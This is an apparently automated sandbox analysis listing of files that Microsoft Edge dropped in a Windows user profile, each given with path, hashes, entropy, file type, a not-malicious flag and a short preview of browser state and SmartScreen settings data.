SHA-256:	4BF04191AB8966C9659FC8D261DEF0142B2091D86DC213A7062427C2054982B9
SHA-512:	F6D8AD1C6CEA793CEEAD97663BF6544F0D9BB3786128952224B6068CE216EBC82F6F6D5874B52107956E06BD58180D6E9DCD122B2F008CCE0BF8A2219611EFD8
Malicious:	false
Preview:	2024/10/28-21:46:27.411 1de8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/28-21:46:27.411 1de8 Recovering log #3.2024/10/28-21:46:27.412 1de8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090788195506753
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMowuF9hDO6vP6O+Ttbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6Gtbz8hu3VlXr4CRo1
MD5:	DEB98A27BECDD48186DA2A23DDA76C68
SHA1:	74CB2E55B405DE0FF78F2760C12DC8A6FC9B56B9
SHA-256:	2AE316771F4386A6839C7EB7499404CDAB9A55DED881597BA21BB9C14B2AC3FF
SHA-512:	1B45B0E94EA90585A2B135DE2EFF7223399A03CDCAF366DC3AD1C3FFC1D4997E542656F933351A7BFD72F1C2F1BEEC10D2573FD4D7F2C90CDD5FA2DA56235707
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37948.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090788195506753
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMowuF9hDO6vP6O+Ttbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6Gtbz8hu3VlXr4CRo1
MD5:	DEB98A27BECDD48186DA2A23DDA76C68
SHA1:	74CB2E55B405DE0FF78F2760C12DC8A6FC9B56B9
SHA-256:	2AE316771F4386A6839C7EB7499404CDAB9A55DED881597BA21BB9C14B2AC3FF
SHA-512:	1B45B0E94EA90585A2B135DE2EFF7223399A03CDCAF366DC3AD1C3FFC1D4997E542656F933351A7BFD72F1C2F1BEEC10D2573FD4D7F2C90CDD5FA2DA56235707
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37957.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090788195506753
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMowuF9hDO6vP6O+Ttbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6Gtbz8hu3VlXr4CRo1
MD5:	DEB98A27BECDD48186DA2A23DDA76C68
SHA1:	74CB2E55B405DE0FF78F2760C12DC8A6FC9B56B9
SHA-256:	2AE316771F4386A6839C7EB7499404CDAB9A55DED881597BA21BB9C14B2AC3FF
SHA-512:	1B45B0E94EA90585A2B135DE2EFF7223399A03CDCAF366DC3AD1C3FFC1D4997E542656F933351A7BFD72F1C2F1BEEC10D2573FD4D7F2C90CDD5FA2DA56235707
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37b3c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090788195506753
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMowuF9hDO6vP6O+Ttbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6Gtbz8hu3VlXr4CRo1
MD5:	DEB98A27BECDD48186DA2A23DDA76C68
SHA1:	74CB2E55B405DE0FF78F2760C12DC8A6FC9B56B9
SHA-256:	2AE316771F4386A6839C7EB7499404CDAB9A55DED881597BA21BB9C14B2AC3FF
SHA-512:	1B45B0E94EA90585A2B135DE2EFF7223399A03CDCAF366DC3AD1C3FFC1D4997E542656F933351A7BFD72F1C2F1BEEC10D2573FD4D7F2C90CDD5FA2DA56235707
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a20d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090788195506753
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMowuF9hDO6vP6O+Ttbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6Gtbz8hu3VlXr4CRo1
MD5:	DEB98A27BECDD48186DA2A23DDA76C68
SHA1:	74CB2E55B405DE0FF78F2760C12DC8A6FC9B56B9
SHA-256:	2AE316771F4386A6839C7EB7499404CDAB9A55DED881597BA21BB9C14B2AC3FF
SHA-512:	1B45B0E94EA90585A2B135DE2EFF7223399A03CDCAF366DC3AD1C3FFC1D4997E542656F933351A7BFD72F1C2F1BEEC10D2573FD4D7F2C90CDD5FA2DA56235707
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3e521.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090788195506753
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMowuF9hDO6vP6O+Ttbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6Gtbz8hu3VlXr4CRo1
MD5:	DEB98A27BECDD48186DA2A23DDA76C68
SHA1:	74CB2E55B405DE0FF78F2760C12DC8A6FC9B56B9
SHA-256:	2AE316771F4386A6839C7EB7499404CDAB9A55DED881597BA21BB9C14B2AC3FF
SHA-512:	1B45B0E94EA90585A2B135DE2EFF7223399A03CDCAF366DC3AD1C3FFC1D4997E542656F933351A7BFD72F1C2F1BEEC10D2573FD4D7F2C90CDD5FA2DA56235707
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF48c1f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090788195506753
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMowuF9hDO6vP6O+Ttbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6Gtbz8hu3VlXr4CRo1
MD5:	DEB98A27BECDD48186DA2A23DDA76C68
SHA1:	74CB2E55B405DE0FF78F2760C12DC8A6FC9B56B9
SHA-256:	2AE316771F4386A6839C7EB7499404CDAB9A55DED881597BA21BB9C14B2AC3FF
SHA-512:	1B45B0E94EA90585A2B135DE2EFF7223399A03CDCAF366DC3AD1C3FFC1D4997E542656F933351A7BFD72F1C2F1BEEC10D2573FD4D7F2C90CDD5FA2DA56235707
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4ea6c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090788195506753
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMowuF9hDO6vP6O+Ttbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6Gtbz8hu3VlXr4CRo1
MD5:	DEB98A27BECDD48186DA2A23DDA76C68
SHA1:	74CB2E55B405DE0FF78F2760C12DC8A6FC9B56B9
SHA-256:	2AE316771F4386A6839C7EB7499404CDAB9A55DED881597BA21BB9C14B2AC3FF
SHA-512:	1B45B0E94EA90585A2B135DE2EFF7223399A03CDCAF366DC3AD1C3FFC1D4997E542656F933351A7BFD72F1C2F1BEEC10D2573FD4D7F2C90CDD5FA2DA56235707
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
